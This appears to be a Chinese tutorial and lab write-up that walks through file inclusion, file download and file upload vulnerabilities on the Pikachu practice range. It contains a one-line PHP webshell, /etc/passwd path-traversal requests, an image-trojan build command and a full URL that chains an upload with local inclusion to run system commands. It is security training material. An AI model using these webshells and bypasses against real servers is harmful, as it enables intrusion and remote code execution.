文章目录
文件包含漏洞
文件包含漏洞概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用“包含”函数功能。 比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用函数代码。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击着可以通过修改包含文件的位置来让后台执行任意文件(代码)。 这种情况我们称为“文件包含漏洞”。
文件包含函数
通过 include() 或 require() 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。 include 和 require 语句是相同的,除了错误处理方面:
- require 会生成致命错误(E_COMPILE_ERROR)并停止脚本
- include 只生成警告(E_WARNING),并且脚本会继续
实例
本地文件包含漏洞
pikachu靶场:
正常提交后会显示后台储存的文件。
因为文件名又前端提交,故可以猜测配置文件名,尝试修改提交的文件名来显示后台文件。
linux后台有许多配置文件的路径和名称是固定的,可以通过…/…/…/…/跳转至根路径再/etc/passwd使配置文件被读取显示在浏览器中。
远程文件包含漏洞
和本地上传漏洞原理差不多,主要差别在于攻击者可访问外部地址加载恶意文件。
如果使用include和require,需要在php.ini中配置
allow_url_fopen = on //默认打开
Allow_url_include=on //默认关闭
一句话木马文件:
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
修改php.ini配置后,将文件路径改为恶意代码路径提交。
提交后可以发现一句话木马文件已经写入后台。
访问后台一句话木马文件所在的位置,传入x=ipconfig可显示出后台的ip信息。
文件下载漏洞
文件下载漏洞概述
很多网站都会提供文件下载功能,即用户可以通过下载链接,下载到对应的文件。攻击者可以通过伪造文件路径,从而下载服务器其他敏感文件。
实例
pikachu靶场:
请求url:
http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=kb.png
抓包更改filename字段为…/…/…/…/…/etc/passwd 可以从服务器上下载敏感文件。
文件上传漏洞
文件上传漏洞概述
因为业务需要许多网站都提供了文件上传的接口,攻击者可以通过一些手段绕过安全措施来上传一些含有恶意代码的文件。
文件上传漏洞测试流程
- 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)。
- 尝试上传不同的恶意文件,比如xx.php等,分析结果。
- 查看html源码,看是否通过js在前端做了上传限制,可以绕过。
- 尝试不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等。
- 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试。
实例
pikachu靶场:
前端验证
上传正常的照片
上传php文件
检查源码发现每次上传就会调用checkFileExt函数
checkFileExt函数为检查文件后缀:
F12打开控制台,删除onchange事件,上传PHP文件成功。
MIME type验证绕过
MIME是什么
服务器返回给浏览器各种各样的文件格式,如HTML,XML,GIF,JPG…。浏览器是如何区分它们,并决定以什么内容来展示呢。实际上是MIME type,也就是该资源的媒体类型。
一般Web服务器在发送数据或者浏览器发送请求时,会发送一个Content-Type内容是与实体对应的MIME信息。
如Content-Type: text/HTML,指示当前的内容为超文本文件。为什么是“text/HTML”而不是“HTML/text”或者别的什么?MIME Type 不是个人指定的,是经过 ietf 组织协商,以 RFC 的形式作为建议的标准发布在网上的,大多数的 Web 服务器和用户代理都会支持这个规范。
$_FILES()函数
通过PHP的全局数组,你可以从计算机向远程服务器上传文件。第一参数是文件名称,第二个参数为对应的属性。
$_FILES["file"]["name"] - 被上传文件的名称
$_FILES["file"]["type"] - 被上传文件的类型
$_FILES["file"]["size"] - 被上传文件的大小
$_FILES["file"]["tem_name"] - 储存在服务器的文件临时副本的名称
$_FILES["file"]["error"] - 由文件上传错误导致的错误代码
后端代码通过调用全局函数$_FILES,通过http头的信息得到文件的类型,再比较类型是否符合规则。http头的信息可以被篡改,导致检查被绕过。
上传php文件发现提示格式错误。
上传php文件后抓包,修改content-type为重发。
发送成功
getimagesize绕过案例和防范措施
Getimagesize()返回结果中文件大小和文件类型。判断原理是对目标文件的16进制进行读取,读取头几个字符串来判断是否符合要求。
相同类型的图片文件前面的字符有一段是相同的。
图片木马的制作:
- 直接伪造头部GIF89A
- CMD:copy /b test.png + muma.php.png
- 使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令。
拼接一张正常和png文件和恶意php文件,生成新的png木马图片。
成功绕过上传成功。
如果直接通过浏览器访问会显示上传的图片无法利用恶意代码。此时采用之前的文件包含漏洞,include函数检查到错误不会停止,直到读取到符合规则的php代码。
更改filename为…/…/…/vul/unsafeupload/uploads/2020/10/16/7708885f890a34e0850980883126.png
传入系统命令x = ipconfig
此时请求url为
http://192.168.169.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../vul/unsafeupload/uploads/2020/10/16/7708885f890a34e0850980883126.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&x=ipconfig
页面回显png的16进制信息,最后显示了服务器执行ipconfig的结果